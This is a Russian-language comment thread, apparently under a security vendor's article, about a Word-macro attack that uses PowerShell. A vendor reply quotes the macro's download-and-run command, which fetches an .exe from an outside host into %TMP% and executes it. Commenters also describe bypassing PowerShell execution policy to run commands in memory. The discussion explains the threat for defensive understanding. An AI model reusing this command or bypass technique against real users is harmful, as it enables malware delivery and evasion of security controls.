Pull to refresh

Comments 6

Принимая во внимание тот факт, что на powershell'e можно выполнять много чего и сделать весьма мощные скрипты, а антивирусы в своей массе не контролируют, что делает сам powershell, то в ряде случаев можно и вовсе не загружать никаких дополнительных программ — достаточно в самом скрипте написать скачку какой-нибудь веб-страницы и оттуда забрать нужные дополнительные инструкции для того же PS.
А каким образом макрос меняет на компе политику выполнения скриптов? Ведь по умолчанию в PS скрипты не выполняются, пока их явно не разрешить.
Контролирует ли хоть какой-то антивирус состояние этой политики?
А каким образом макрос меняет на компе политику выполнения скриптов?


Он не меняет ее, но он обманным путем заставляет пользователя это сделать. Как видно на картинке в статье, вордовский документ говорит, что пользователь должен включить контент.

Контролирует ли хоть какой-то антивирус состояние этой политики?


Насколько нам известно, нет. Microsoft начал делать это, блокируя все макросы, поступающие извне (например, когда документ приходит по электронной почте). Проблема с Powershell заключается в том, что он широко используется на вполне законных основаниях, поэтому его нельзя блокировать в целом. Впрочем, наши системы позволяют осуществлять мониторинг всего, что происходит на ПК, включая Powershell. В этом случае нам удалось проактивно блокировать данную атаку, хоть злоумышленники и пытались использовать Powershell для выполнения вредоносной программы
«Он не меняет ее, но он обманным путем заставляет пользователя это сделать.» — я не про безопасность макросов в офисе, а про политику запуска скриптов powershell (execution policy: Restricted: Does not load configuration files or run scripts. «Restricted» is the default execution policy.)
Вот это нужно поменять прежде чем программа сможет выполнить скрипт. Или макрос в документе сам это как-то делает?
Вот команда, которая выполняется из макроса:

Shell «cmd /c PowerShell (New-Object System.Net.WebClient).DownloadFile('http://futuras.com/img/dododocdoc.exe','%TMP%\sweezy.exe');» + «Start-Proocess '%TMP%\sweezy.exe';», 0
Последовательность действий:

1. Пользователь открывает вордовский документ

2. Пользователь включает контент в MS Word (чтобы макрос мог выполниться)

3. Запускается макрос, который выполняет PowerShell

По поводу:

Restricted: Does not load configuration files or run scripts. «Restricted» is the default execution policy

В данном случае PowerShell не загружает конфигурационные файлы и не выполняет скрипты (это слово “скрипты” относятся к скриптам PowerShell, как правило, с расширением .ps1). Он всего лишь скачивает файл и запускает его. Он выполняет PowerShell из командной строки. Если Вы отроете командную строку на Ваш ПК и наберете это:

PowerShell (New-Object System.Net.WebClient).DownloadFile(' http://www.pandasecurity.com/mediacenter/src/uploads/2016/11/iStock_90393397_MEDIUM.jpg','%TMP%\User.jpg')

то Вы увидите, как файл скачается и сохранится в виде файла User.jpg в Вашей папке %TMP%. При этом не важно, стоит ли какое-то ограничение в PowerShell. Эта опция “Restricted” сделана не по соображениям безопасности, а во избежание непреднамеренных ошибок. Существует довольно много способов, как при необходимости можно обойти это ограничение (Вы можете посмотреть эту статью: https://blog.netspi.com/15-ways-to-bypass-the-powershell-execution-policy/).
Теперь всё понятно. Спасибо!
Кстати, вот у себя же и откопал:
можно использовать -ExecutionPolicy bypass -NoProfile -Command — и далее после тире прямо вставлять блок команд для powershell (да, вместе с переносами строк) — всё будет выполнено. Так что злоумышленники вполне могли бы и не сохранять никаких файлов, а загрузить в оперативку команды для powershell, и далее их выполнить.
Sign up to leave a comment.